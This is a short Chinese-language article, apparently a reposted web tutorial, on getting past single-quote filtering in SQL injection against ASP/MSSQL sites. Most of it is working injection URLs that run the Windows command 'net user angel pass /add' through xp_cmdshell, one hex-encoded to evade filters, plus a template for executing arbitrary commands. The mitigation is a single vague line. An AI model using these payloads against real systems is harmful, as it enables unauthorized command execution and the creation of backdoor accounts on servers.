|
復(fù)制代碼 代碼如下:
http://www.jb51.NET/show.ASP?id=1;exec master.dbo.xp_cmdshell 'NET user angel pass /add';--
這往往給大家造成誤解,認(rèn)為只要變量過(guò)濾了'就可以防止SQL Injection攻擊,這種意識(shí)為大量程序可以注入埋下禍根,其實(shí)僅僅過(guò)濾'是不夠的,在'被過(guò)濾的情況下我們照樣玩,看下面語(yǔ)句:
復(fù)制代碼 代碼如下:
http://www.jb51.NET/show.ASP?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--
是不是跟上面的那句有很大區(qū)別?可是效果完全是一樣的。其實(shí)這些都是SQL語(yǔ)句。
復(fù)制代碼 代碼如下:
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
這句是“NET user angel pass /add”的16進(jìn)制格式。了解SQL的朋友就容易明白,先聲明一個(gè)變量a,然后把我們的指令賦值給a,然后調(diào)用變量a最終執(zhí)行我們輸入的命令。變量a可以是任何命令。如下:
復(fù)制代碼 代碼如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
解決辦法:
過(guò)濾變量,限制只允許輸入特定字符。比如對(duì)于數(shù)字類型的變量就限制只能輸入數(shù)字類型的數(shù)據(jù)。具體就不說(shuō)了。這完全是程序作者自由發(fā)揮了。
AspNet技術(shù):SQL注入中繞過(guò) 單引號(hào) 限制繼續(xù)注入,轉(zhuǎn)載需保留來(lái)源!
鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。